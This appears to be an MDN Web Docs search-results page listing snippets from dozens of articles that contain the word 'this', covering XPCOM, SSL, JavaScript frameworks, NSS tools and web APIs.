usage the xpcom module makes it simpler to perform three main tasks: implement xpcom object interfaces implement and register xpcom factories implement and register xpcom services if all you need to do is use xpcom objects that someone else has implemented, then you don't need to use
this module.
... implementing xpcom interfaces
this module exports a class called unknown which implements the fundamental xpcom interface nsisupports.
... getservice(ci.nsiobserverservice); var starobserver = class({ extends: unknown, interfaces: [ 'nsiobserver' ], topic: '*', register: function register() { observerservice.addobserver(
this,
this.topic, false); }, unregister: function() { observerservice.removeobserver(
this,
this.topic); }, observe: function observe(subject, topic, data) { console.log('star observer:', subject, topic, data); } }); var starobserver = starobserver(); starobserver.register(); implementing xpcom factories the xpcom module exports a class called factory which implements the nsifactor...
...And 49 more matches
Introduction to SSL - Archive of obsolete content
introduction
this document introduces the secure sockets layer (ssl) protocol.
...
this document is primarily intended for administrators of red hat server products, but the information it contains may also be useful for developers of applications that support ssl.
...
this confirmation might be important if the user, for example, is sending a credit card number over the network and wants to check the receiving server's identity.
...And 49 more matches
JavaScript basics - Learn web development
this happens in games, in the behavior of responses when buttons are pressed or with data entry on forms; with dynamic styling; with animation, etc.
...
this article helps you get started with javascript and furthers your understanding of what is possible.
... it's outside the scope of
this article—as a light introduction to javascript—to present the details of how the core javascript language is different from the tools listed above.
...And 49 more matches
Handling common HTML and CSS problems - Learn web development
this includes linting code, handling css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more.
... first things first: fixing general problems we said in the first article of
this series that a good strategy to begin with is to test in a couple of modern browsers on desktop/mobile, to make sure your code is working generally, before going on to concentrate on the cross browser issues.
...
this can be especially problematic when you are using third party code.
...And 49 more matches
Sqlite.jsm
this translates to fewer lines of code to talk to sqlite.
...
this makes code easy to write and read.
... before you can use
this module, you need to import it into your scope: components.utils.import("resource://gre/modules/sqlite.jsm") obtaining a connection sqlite.jsm exports the sqlite symbol.
...And 49 more matches
widget - Archive of obsolete content
you can include
this content inline as a string by using the content property, or point to content using a url with the contenturl property.
... for example,
this widget contains an image, so it looks like a simple icon: require("sdk/widget").widget({ id: "mozilla-icon", label: "my mozilla widget", contenturl: "http://www.mozilla.org/favicon.ico" }); you can make contenturl point to an html or icon file which you have packaged inside your add-on.
... just save the file in your add-on's data directory, and reference it using the data.url() method of the self module: var data = require("sdk/self").data; require("sdk/widget").widget({ id: "my-widget", label: "my widget", contenturl: data.url("my-content.html") });
this widget contains an entire web page: require("sdk/widget").widget({ id: "hello-display", label: "my hello widget", content: "hello!", width: 50 }); widgets are quite small by default, so
this example used the width property to grow it in order to show all the text.
...And 48 more matches
XUL element attributes - Archive of obsolete content
baseline
this value applies to horizontally oriented boxes only.
... stretch
this is the default value.
...
this attribute, if true, which is the default, allows a datasource to negate an earlier assertion.
...And 48 more matches
Getting started with Vue - Learn web development
in
this article we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.
...
this lets you use vue as a drop-in replacement for a library like jquery.
...
this allows you to create markup managed entirely by vue, which can improve developer experience and performance when dealing with complex applications.
...And 48 more matches
Overview of Mozilla embedding APIs
embedding applications can leverage
this component to easily access many of gecko's features.
...the webbrowser exposes a set of interfaces which allow the embedding application to control activity and respond to changes within
this client area.
... nsweakptr
this is an nscomptr which encapsulates xpcom weak reference support.
...And 48 more matches
Hacking Tips
this page list a few tips to help you investigate issues related to spidermonkey.
... some variants of
this function such as js::dumpscript etc are convenient for debugging.
...
this unwinder is able to read the frames created by the jit, and to display the frames which are after these jit frames.
...And 48 more matches
nsIWindowsRegKey
xpcom/ds/nsiwindowsregkey.idlscriptable
this interface is designed to provide scriptable access to the windows registry system.
...
this interface is highly win32 specific.
... void stopwatching(); void writebinaryvalue(in astring name, in acstring data); void writeint64value(in astring name, in unsigned long long data); void writeintvalue(in astring name, in unsigned long data); void writestringvalue(in astring name, in astring data); attributes attribute type description childcount unsigned long
this attribute returns the number of child keys.
...And 48 more matches
Key Values - Web APIs
this can happen due to hardware or software constraints, or because of constraints around the platform on which the user agent is running.
...often handled in hardware so that events aren't generated for
this key.
...often handled in hardware so that events aren't generated for
this key.
...And 48 more matches
JXON - Archive of obsolete content
there are no real standards for
this conversion, but some conventions begin to appear on the web.
... in
this article we will show how to convert a parsed xml document (i.e.
... conversion snippets now imagine you have
this sample xml document: example.xml <?xml version="1.0"?> <!doctype catalog system "catalog.dtd"> <catalog> <product description="cardigan sweater"> <catalog_item gender="men's"> <item_number>qwz5671</item_number> <price>39.95</price> <size description="medium"> <color_swatch image="red_cardigan.jpg">red</color_swatch> <color_swatch image="burgundy_cardigan.jpg">b...
...And 47 more matches
Editor Embedding Guide - Archive of obsolete content
in calling
this method, the editor is created underneath and the event listeners are all prepa if (ns_failed(rv)) return ns_error_failure; // we are not setup??!!
...gsession> editingsession; nsiwebbrowser->do_getinterface(getter_addrefs(editingsession)); if (editingsession) editingsession->makewindoweditable(domwindow, "html", pr_true); the valid editor types are: "text" (similar to notepad or a textarea; does not allow for html) "textmail" (similar to "text" but html can be inserted; intended for plaintext mail usage and handling of citations) "html" (
this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (
this is much like "html" except there are a few editing rules/behaviors that differ such as splitting of mail quotes) editor commands you need to call commands and receive updates in order to make any changes to the content on the browser.
... getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters note
this one is not visually notable in the general case.
...And 47 more matches
WAI-ARIA basics - Learn web development
the initial solution was to add one or more hidden links at the top of the page to link to the navigation (or whatever else), for example: <a href="#hidden" class="hidden">skip to navigation</a> but
this is still not very precise, and can only be used when the screenreader is reading from the top of the page.
...you can see an example of
this at text alternatives.
...
this is not an easy question to answer.
...And 47 more matches
DMD
in
this mode, dmd tracks the contents of the heap, including which heap blocks have been reported by memory reporters.
...originally,
this was the only mode that dmd had, which explains dmd's name.
...
this is the default mode.
...And 47 more matches
Web Replay
this will refresh the tab and start recording.
...
this has the same effect as above but can be used when the developer tools are not open.
... an easy way to see
this is to open the debugger developer tool, press the pause button and then the rewind button.
...And 47 more matches
The Essentials of an Extension - Archive of obsolete content
<em:id>helloworld@xulschool.com</em:id>
this is the unique identifier for the extension.
... firefox needs
this to distinguish your extension from other extensions, so it is required that you have an id that is unique.
... <em:name>xul school hello world</em:name> <em:description>welcome to xul school!</em:description> <em:version>0.1</em:version> <em:creator>appcoast</em:creator> <em:homepageurl>https://developer.mozilla.org/docs/xul_school</em:homepageurl>
this is the data that is displayed before and after the extension is installed, that you can see in the add-ons manager.
...And 46 more matches
Practical positioning examples - Learn web development
this article shows how to build some real world examples to illustrate what kinds of things you can do with positioning.
...
this includes information-heavy apps like strategy/war games, mobile versions of websites where the screen is narrow and space is limited, and compact information boxes where you might want to make lots of information available without having it fill the whole ui.
... our simple example will look like
this once we are finished: note: you can see the finished example running live at info-box.html (source code).
...And 46 more matches
Inheritance in JavaScript - Learn web development
previous overview: objects next with most of the gory details of oojs now explained,
this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes.
...but mostly
this has involved built-in browser functions.
... let's explore how to do
this with a concrete example.
...And 46 more matches
Index
3 account examples extensions, thunderbird
this article provides examples on accessing and manipulating thunderbird accounts.
... 4 account interfaces code snippets, extension development, thunderbird
this page contains a list of the interfaces that you'll will most likely use when writing extensions that work with email or other accounts.
... 6 activity manager interfaces thunderbird
this page describes the programmatic interfaces behind the activity manager component.
...And 46 more matches
Add to iPhoto
this extension for mac os x serves as a demonstration of how to use js-ctypes to call mac os x carbon, core foundation, and other system frameworks from an extension written entirely in javascript.
... note:
this extension uses carbon routines, which can no longer be used in firefox add-ons now that firefox is a 64-bit application.
... you can download an installable version of
this extension on amo.
...And 46 more matches
Accessibility documentation index - Accessibility
this document provides a list of links to all accessibility articles on the mozilla developer network.
...it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies 3 aria screen reader implementors guide aria, accessibility
this is just a guide.
...
this must be done in order to determine where to file a bug (browser or at).
...And 46 more matches
HTTP response status codes - HTTP
if you receive a response that is not in
this list, it is a non-standard response, possibly custom to the server's software.
... information responses 100 continue
this interim response indicates that everything so far is ok and that the client should continue the request, or ignore the response if the request is already finished.
... 101 switching protocol
this code is sent in response to an upgrade request header from the client, and indicates the protocol the server is switching to.
...And 46 more matches
Web video codec guide - Web media technologies
this is where video codecs come in.
...
this guide introduces the video codecs you're most likely to encounter or consider using on the web, summaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video.
... the simplest guideline is
this: anything that makes the encoded video look more like the original, uncompressed, video will generally make the resulting data larger as well.
...And 46 more matches
JavaScript Object Management - Archive of obsolete content
« previousnext » chrome javascript in
this section we'll look into how to handle javascript data effectively, beginning with chrome code, in ways which will prevent pollution of shared namespaces and conflicts with other add-ons resulting from such global namespace pollution.
...namespace declaration is best located in a file of its own, so that you have
this one js file that should be included in all of your xul files.
...
this needs to be replaced with an identifier name which is unique to your add-on.
...And 45 more matches
Getting started with React - Learn web development
previous overview: client-side javascript frameworks next in
this article we will say hello to react.
...it does
this through the use of components — self-contained, logical pieces of code that describe a portion of the user interface.
... use cases unlike the other frameworks covered in
this module, react does not enforce strict rules around code conventions or file organization.
...And 45 more matches
Handling common accessibility problems - Learn web development
in a way,
this whole module is about accessibility — cross browser testing makes sure that your sites can be used by as many people as possible.
...defines accessibility more completely and thoroughly than
this article does.
... that said,
this article will cover cross browser and testing issues surrounding people with disabilities, and how they use the web.
...And 45 more matches
sslerr.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
...in addition to the error codes defined by nspr, pr_geterror retrieves the error codes described in
this chapter.
...And 45 more matches
NSS Tools modutil
this tool can also create key3.db, cert8.db, and secmod.db security database files.
...
this document discusses security module database management.
... availability
this tool is known to build on solaris 2.5.1 (sunos 5.5.1) and windows nt 4.0.
...And 45 more matches
Finishing the Component
« previousnext » at
this point you have created most of the infrastructure of the component.
...the interfaces needed to block certain urls from loading are not frozen, and there is still some debate about how exactly
this functionality should be exposed to embedders and component developers, so the apis are not ready to be published.
...
this puts you in the same situation as many developers using mozilla - you want to use some specific functionality, but the interfaces seem to change on a daily basis.
...And 45 more matches
Rendering and the WebXR frame animation callback - Web APIs
this article covers the process of driving the frames of the xr scene to the device in the rendering loop, using the xrsession to obtain an xrframe object representing each frame, which is then used to prepare the framebuffer for delivery to the xr device.
...
this begins with getting the reference space in which you want to draw, with its origin and orientation set at the viewer's starting position and viewing direction.
...
this is done by calling the xrsession method requestanimationframe().
...And 45 more matches
Enhanced Extension Installation - Archive of obsolete content
aside from the work of locating the firefox executable in the first place (which varies from platform to platform),
this is very limiting because: it forces the third party application to package its firefox integration hooks as a xpi.
...
this can lead to incompatibilities, mysterious crashes and other problems.
... in the profile directory, the file compatibility.ini stores information about the version of the application (build info) that last started
this profile - during startup
this file is checked and if the version info held by the running app disagrees with the info held by
this file, a compatibility check is run on all installed items.
...And 44 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
appendix: what you should know about open-source software licenses draft
this page is not complete.
...
this document was authored by yutaka kachi and was originally published in japanese for the firefox developers conference summer 2007.
...in
this chapter, i’ll explain some of the basics: what open-source software (oss) licenses are, what types of licenses exist, and when they’re appropriate.
...And 44 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
...exe) installer, xpinstall can wrap
this native installer and run it so that the user never has to leave the browsing environment and click on the exe to run it.
...And 44 more matches
Positioning - Learn web development
this article explains the different position values, and how to use them.
... static positioning static positioning is the default that every element gets — it just means "put the element into its normal position in the document layout flow — nothing special to see here." to demonstrate
this, and get your example set up for future sections, first add a class of positioned to the second <p> in the html: <p class="positioned"> ...
...
this is fine — as we said before, static positioning is the default behavior!
...And 44 more matches
Investigating leaks using DMD heap scan mode
when combined with cycle collector logging,
this can be used to investigate leaks of refcounted cycle collected objects, by figuring out what holds a strong reference to a leaked object.
... when should you use
this?
...if you have a patch that introduces a leak, you are probably better off auditing all of the strong references that your patch creates before trying
this.
...And 44 more matches
Command line crash course - Learn web development
this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools.
...we’ll see how to install some tools later on in
this chapter, and we’ll learn more about package registries in the next chapter.
...
this is why we are providing
this chapter — to help you get started in
this seemingly unfriendly environment.
...And 43 more matches
Package management basics - Learn web development
previous overview: understanding client-side tools next in
this article we'll look at package managers in some detail to understand how we can use them in our own projects — to install project tool dependencies, keep them up-to-date, and more.
...you could certainly code
this yourself, but there's a strong chance that someone else has already solved
this problem — why waste time reinventing the wheel?
... without modern build tools, dependencies like
this might be included in your project using a simple <script> element, but
this might not work right out of the box and you will likely need some modern tooling to bundle your code and dependencies together when they are released on the web.
...And 43 more matches
Download
this object is transient, though it can be included in a downloadlist so that it can be managed by the user interface and persisted across sessions.
...
this property can become true, then it can be reset to false when a canceled download is restarted.
...
this property becomes true as soon as the cancel() method is called, though the stopped property might remain false until the cancellation request has been processed.
...And 43 more matches
Shell global objects
note:
this list overlaps with "built-in functions" in introduction to the javascript shell and is probably not complete.
...
this page lists variables and functions available on spidermonkey 53.
...
this function is an alias of the print() function.
...And 43 more matches
An Overview of XPCOM
« previousnext »
this is a book about xpcom.
...
this chapter provides a quick tour of xpcom - an introduction to the basic concepts and technologies in xpcom and component development.
... the brief sections in
this chapter introduce the concepts at a very high level, so that we can discuss and use them with more familiarity in the tutorial itself, which describes the creation of a mozilla component called weblock.
...And 43 more matches
nsINavHistoryService
toolkit/components/places/nsinavhistoryservice.idlscriptable
this interface provides complex query functions, more fine-grained getters and setters.
...to use
this service, use: var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); method overview astring getpagetitle(in nsiuri auri); void markpageasfollowedbookmark(in nsiuri auri); void markpageasfollowedlink(in nsiuri auri); void markpageastyped(in nsiuri auri); boolean canadduri(in nsiuri auri); long long addvisit(in nsiuri auri, in prtime atime, in nsiuri areferringuri, in long atransitiontype, i...
...tring([array, size_is(aquerycount)] in nsinavhistoryquery aqueries, in unsigned long aquerycount, in nsinavhistoryqueryoptions options); void addobserver(in nsinavhistoryobserver observer, in boolean ownsweak); void removeobserver(in nsinavhistoryobserver observer); void runinbatchmode(in nsinavhistorybatchcallback acallback, in nsisupports aclosure); void impor
thistory(in nsifile file); astring getcharsetforuri(in nsiuri auri); astring setcharsetforuri(in nsiuri auri, in astring acharset); attributes attribute type description hashistoryentries boolean true if there is any history.
...And 43 more matches
nsIWebNavigation
inherits from: nsisupports last changed in gecko 1.9 (firefox 3)
this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead.
...orward void gotoindex( in long index ) void loaduri(in wstring uri , in unsigned long loadflags , in nsiuri referrer , in nsiinputstream postdata, in nsiinputstream headers) void reload(in unsigned long reloadflags) void stop(in unsigned long stopflags) constants load flags constant value description load_flags_mask 65535
this flag defines the range of bits that may be specified.
... load_flags_none 0
this is the default value for the load flags parameter.
...And 43 more matches
Drag Operations - Web APIs
the drag operations described in
this document use the datatransfer interface.
...
this document does not use the datatransferitem interface nor the datatransferitemlist interface.
...to see
this in effect, select an area of a webpage, and then click and hold the mouse and drag the selection.
...And 43 more matches
context-menu - Archive of obsolete content
try right-clicking a blank spot in
this page, or on text.
...
this is the page context.
... declarative contexts you can specify some simple, declarative contexts when you create a menu item by setting the context property of the options object passed to its constructor, like
this: var cm = require("sdk/context-menu"); cm.item({ label: "my menu item", context: cm.urlcontext("*.mozilla.org") }); constructor description pagecontext() the page context.
...And 42 more matches
StringView - Archive of obsolete content
the aims of
this library are: to create a c-like interface for strings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when...
...in the past,
this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer.
... however,
this is slow and error-prone, due to the need for multiple conversions (especially if the binary data is not actually byte-format data, but, for example, 32-bit integers or floats).
...And 42 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average video game from a technical point of view, in terms of how the main loop should run.
...not surprisingly,
this pattern corresponds to how a game engine is programmed.
... some games drive
this cycle by user input.
...And 42 more matches
Legacy layout methods - Learn web development
in
this article we'll explore how these older methods work, in order that you understand how they were used if you work on an older project.
...
this lesson will explain how grid systems and grid frameworks based on floats and flexbox work.
... having studied grid layout you will probably be surprised how complicated
this all seems!
...And 42 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
never fear —
this article aims to save you from tearing your hair out over such problems by providing you with some tips on how to find and fix errors in javascript programs.
...but the above classifications will do at
this early stage in your career.
... an erroneous example to get started, let's return to our number guessing game — except
this time we'll be exploring a version that has some deliberate errors introduced.
...And 42 more matches
React interactivity: Events and state - Learn web development
in
this article we'll do
this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed.
...for example: const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert("hi!"); }); in react, we write event handlers directly on the elements in our jsx, like
this: <button type="button" onclick={() => alert("hi!")} > say hi!
... </button> note:
this may seem counter-intuitive regarding best-practice advice that tends to advise against use of inline event handlers on html, but remember that jsx is actually part of your javascript.
...And 42 more matches
Creating our first Vue component - Learn web development
we'll use
this to build our list of todos.
... your file should now look like
this: <template> </template> <script> export default {}; </script> we can now begin to add actual content to our todoitem.
... vue templates are currently only allowed a single root element — one element needs to wrap everything inside the template section (
this will change when vue 3 comes out).
...And 42 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
this is what we'll cover in
this article.
... let's load
this component into our app.
... go back to app.vue and add the following import statement just below the previous one, inside your <script> element: import todoform from './components/todoform'; you also need to register the new component in your app component — update the components property of the component object so that it looks like
this: components: { todoitem, todoform } finally for
this section, render your todoform component inside your app by adding the <to-do-form /> element inside your app's <template>, like so: <template> <div id="app"> <h1>my to-do list</h1> <to-do-form></to-do-form> <ul> <li v-for="item in todoitems" :key="item.id"> <to-do-item :label="item.label" :done="item.done" :id="item.id"></to-do-item> </li> </ul> </div> </template> ...
...And 42 more matches
Localization content best practices
this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes.
... it's important to consider
this when adding strings, and especially localization comments for strings that contain references, or obscure technical details.
...for example, suppose
this string needs to be changed from "event" to "add new event": new-event-header = event add-new-event-header is definitely a better choice for the new string than new-event-header1.
...And 42 more matches
nsIWebProgressListener
uriloader/base/nsiwebprogresslistener.idlscriptable
this interface is implemented by clients wishing to listen in on the progress associated with the loading of asynchronous requests in the context of a nsiwebprogress instance as well as any child nsiwebprogress instances.
... constant value description state_start 0x00000001
this flag indicates the start of a request.
...
this flag is set when a request is initiated.
...And 42 more matches
cfx - Archive of obsolete content
for information on how to migrate from cfx to jpm see
this guide.
...
this command will create an skeleton add-on, as a starting point for your own add-on development, with the following file structure: my-addon data docs main.md lib main.js package.json readme.md tests test-main.js cfx run
this command is used to run the add-on.
...you can specify an existing profile using the --profiledir option, and
this gives you access to that profile's history, bookmarks, and other add-ons.
...And 41 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
this article is a step-by-step tutorial on how to convert an old overlay-based extension into a restartless (bootstrapped) extension that is also extractionless.
...
this guide targets firefox 17 esr or later (or anything else gecko 17+, such as seamonkey 2.14+).
...
this is two esrs back (as of
this writing), which should be plenty.
...And 41 more matches
Install Manifests - Archive of obsolete content
examples <em:name>my extension</em:name> targetapplication an object specifying an application targeted by
this add-on.
...
this means that the add-on will work with the application identified by the id property (<em:id>) specified (for a comprehensive list of application ids and valid min/maxversions for them see valid application versions for add-on developers), from the minimum version (<em:minversion>) up to and including the maximum version (<em:maxversion>).
...these version strings are formatted in the same fashion as the version property and will be compared to the application version;
this allows the extension author to specify which versions of firefox an extension has been tested with.
...And 41 more matches
XPCOM Objects - Archive of obsolete content
this lower layer is called xulrunner, and it is a very powerful platform, providing a very robust development base for web-enabled, cross-platform applications.
...
this.obsservice = cc["@mozilla.org/observer-service;1"].getservice(ci.nsiobserverservice); the cc object (components.classes) is an index to static objects and class definitions available through xpcom.
... the string between the brackets is just an identifier, in
this case corresponding to the observer service.
...And 41 more matches
tabbrowser - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is used for holding a set of read-only views of web documents.
... note: starting in firefox 3 (xulrunner/gecko 1.9),
this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions.
... autoscroll type: boolean set to false to disable autoscroll for
this browser.
...And 41 more matches
Introduction to events - Learn web development
in
this article, we discuss some important concepts surrounding events, and look at how they work in browsers.
...
this won't be an exhaustive study; just what you need to know at
this stage.
... in the case of the web, events are fired inside the browser window, and tend to be attached to a specific item that resides in it —
this might be a single element, set of elements, the html document loaded in the current tab, or the entire browser window.
...And 41 more matches
Introduction to client-side frameworks - Learn web development
this shared ecosystem of libraries helped shape the growth of the web.
...mdn web docs, which you are currently reading
this on, uses the react/reactdom framework to power its front end.
...by
this point, it had already been using react to solve many of its problems internally.
...And 41 more matches
TypeScript support in Svelte - Learn web development
there are different opinions about it, and in
this chapter we will talk briefly about the pros and cons of using typescript.
... even if you are not planning to adopt it,
this article will be useful for allowing you to learn what it has to offer and help you make your own decision.
...in
this section we'll show you how to setup a svelte project with typescript support to give it a try.
...And 41 more matches
NSS API Guidelines
nss api guidelines newsgroup: mozilla.dev.tech.crypto introduction
this document describes how the nss code is organized, the libraries that get built from the nss sources, and guidelines for writing nss code.
...
this will help you understand existing nss code.
... some of the guidelines in
this document, are more forward-looking than documentary.
...And 41 more matches
Debugger.Frame - Firefox Developer Tools
this allows the code using each debugger instance to place whatever properties it likes on its debugger.frame instances, without worrying about interfering with other debuggers.) when the debuggee pops a stack frame (say, because a function call has returned or an exception has been thrown from it), the debugger.frame instance referring to that frame becomes inactive: its live property becomes false,...
...even though the debuggee and debugger share the same javascript stack, frames pushed for spidermonkey’s calls to handler methods to report events in the debuggee are never considered visible frames.) invocation functions and “debugger” frames aninvocation function is any function in
this interface that allows the debugger to invoke code in the debuggee: debugger.object.prototype.call, debugger.frame.prototype.eval, and so on.
... while invocation functions differ in the code to be run and how to pass values to it, they all follow
this general procedure: letolder be the youngest visible frame on the stack, or null if there is no such frame.
...And 41 more matches
jpm - Archive of obsolete content
this is the reference page for jpm.
...on debian and ubuntu,
this can be remedied by ensuring you installed the compatibility package, nodejs-legacy: sudo apt-get install nodejs-legacy on other distributions, you may have to create a local symlink to nodejs manually: sudo ln -s "$(which nodejs)" /usr/local/bin/node installing jpm after you have npm installed and node on your path, install jpm just as you would any other npm package.
... installing jpm globally npm install jpm --global depending on your setup, you might need to run
this as an administrator: sudo npm install jpm --global installing jpm locally if you do not wish to, or are unable to, install jpm globally, you may instead install it locally: cd $home && npm install jpm to run jpm from a terminal when installed locally, you must add the directory "$home/node_modules/.bin/" to your terminal's path first.
...And 40 more matches
A first splash into JavaScript - Learn web development
you need to start thinking like a programmer —
this generally involves looking at descriptions of what your program needs to do, working out what code features are needed to achieve those things, and how to make them work together.
...
this requires a mixture of hard work, experience with the programming syntax, and practice — plus a bit of creativity.
... with that in mind, let's look at the example we'll be building up in
this article, and review the general process of dissecting it into tangible tasks.
...And 40 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
in
this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status.
...find the <h2> heading with an id of list-heading and replace the hardcoded number of active and completed tasks with dynamic expressions: <h2 id="list-heading">{completedtodos} out of {totaltodos} items completed</h2> go to the app, and you should see the "2 out of 3 items completed" message as before, but
this time the information is coming from the todos array.
...in
this case we use the {#each...} directive to iterate over the todos array.
...And 40 more matches
Deploying our app - Learn web development
post development there's potentially a large range of problems to be solved in
this section of the project's lifecycle.
... here's just a few things to consider for
this particular project: generating a production build: ensuring files are minimised, chunked, have tree-shaking applied, and that versions are "cache busted".
... running tests: these can range from "is
this code formatted properly?" to "does
this thing do what i expect?", and ensuring failing tests prevent deployment.
...And 40 more matches
Memory reporting
tl;dr: you should read
this document before writing a memory reporter.
...
this is most obviously used in about:memory and telemetry.
...
this document describes things that you should know when writing a memory reporter.
...And 40 more matches
Creating the Component Code
« previousnext »
this chapter goes over the basic code required to handle the relationship between your component and xpcom.
... having the component found and registered properly is the goal of
this first chapter of the tutorial.
...there is more code in
this chapter than you'll eventually need, however.
...And 40 more matches
nsIPromptService
embedding/components/windowwatcher/public/nsipromptservice.idlscriptable
this interface can be used to display simple dialogs.
...if you need to include an ampersand in the button's text, use two of them, like
this: "&&".
... constant value description button_pos_0 1
this is usually the button used to confirm the prompt.
...And 40 more matches
Using Service Workers - Web APIs
this article provides information on getting started with service workers, including basic architecture, registering a service worker, the install and activation process for a new service worker, updating your service worker, cache control and custom responses, all in the context of a simple app with offline functionality.
...there have been various attempts to create technologies to solve
this problem, and some of the issues have been solved.
...service worker syntax is more complex than that of appcache, but the trade off is that you can use javascript to control your appcache-implied behaviors with a fine degree of granularity, allowing you to handle
this problem and many more.
...And 40 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
this method is defined by the windoworworkerglobalscope mixin.
...
this syntax is not recommended for the same reasons that make using eval() a security risk.
...if you want to enable
this functionality on that browser, you must use a polyfill (see the callback arguments section).
...And 40 more matches
Template Logging - Archive of obsolete content
for example, if you spell a value wrong, no data may be returned, but the template system won't know that that
this was because of a spelling error, or simply that there shouldn't be any data anyway.
...
this logging of result changes is not done by default; it must be enabled with a flag.
...
this logging of results can be very useful for debugging, but remember to remove
this flag when you have finished and the template works correctly, as the logging can take up extra time that is not necessary when the template is working.
...And 39 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is created by setting the type attribute of the textbox to autocomplete.
...popupopen, searchcount, searchparam, selectionend, selectionstart, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
...And 39 more matches
Getting started with Svelte - Learn web development
previous overview: client-side javascript frameworks next in
this article we'll provide a quick introduction to the svelte framework.
... svelte: a new approach to building rich user interfaces svelte provides a different approach to building web apps than some of the other frameworks covered in
this module.
... the outcome of
this approach is not only smaller application bundles and better performance, but also a developer experience that is more approachable for people that have limited experience of the modern tooling ecosystem.
...And 39 more matches
Gecko info for Windows accessibility vendors
this faq explains how makers of windows screen readers, voice dictation packages and magnification software can support gecko-based software.
... definitions here are some basic definitions that you'll need for
this document to make sense: gecko: the rendering engine for firefox, thunderbird, nvu, mozilla seamonkey and other applications.
... dom: document object model
this is the w3c's specification for how web content is exposed to javascript and other languages.
...And 39 more matches
Eclipse CDT
system requirements eclipse will use a lot of memory to fully index the mozilla source tree to provide code assistance features (easily 4 gb of ram, although
this will drop to just over 1 gb if you restart after indexing is complete).
... installing eclipse regarding llvm4eclipsecdt, do not install or select
this toolchain for mozilla development.
...
this plugin is intended mainly for managed projects but we use an unmanaged project for mozilla (since it has its own build system).
...And 39 more matches
RTCPeerConnection - Web APIs
this lets you detect, for example, when collection of ice candidates has finished.localdescription read only the read-only property rtcpeerconnection.localdescription returns an rtcsessiondescription describing the session for the local end of the connection.
... if it has not yet been set,
this is null.peeridentity read only the read-only rtcpeerconnection property peeridentity returns a javascript promise that resolves to an rtcidentityassertion which contains a domstring identifying the remote peer.pendinglocaldescription read only the read-only property rtcpeerconnection.pendinglocaldescription returns an rtcsessiondescription object describing a pending configuration change for the local end of the connection.
...
this does not describe the connection as it currently stands, but as it may exist in the near future.
...And 39 more matches
Using Web Workers - Web APIs
this article provides a detailed introduction to using web workers.
...worker()) that runs a named javascript file —
this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window.
...in
this section we'll discuss the javascript found in our basic dedicated worker example (run dedicated worker):
this allows you to enter two numbers to be multiplied together.
...And 39 more matches
panel - Archive of obsolete content
usage
this module exports a single constructor function panel() which constructs a new panel.
... you can load remote html into the panel: var mypanel = require("sdk/panel").panel({ width: 180, height: 180, contenturl: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile" }); mypanel.show(); you can also load html that's been packaged with your add-on, and
this is most probably how you will create dialogs.
... to do
this, save the html in your add-on's data directory and load it using the data.url() method exported by the self module, like
this: var mypanel = require("sdk/panel").panel({ contenturl: require("sdk/self").data.url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
...And 38 more matches
RDF Modifications - Archive of obsolete content
no extra code needs to be written to do
this; it happens automatically.
...
this involves a third type of observer involved in a template builder, an nsirdfobserver, used to listen for modifications to the rdf datasource.
... naturally,
this only applies to rdf queries.
...And 38 more matches
Index - Game development
fortunately, i do not have any experience with
this, but i have heard it is an excruciating game of whack-a-mole.
... 3 examples demos, example, games, web
this page lists a number of impressive web technology demos for you to get inspiration from, and generally have fun with.
... 7 publishing games games, html5, javascript, monetization, promotion, distribution, publishing
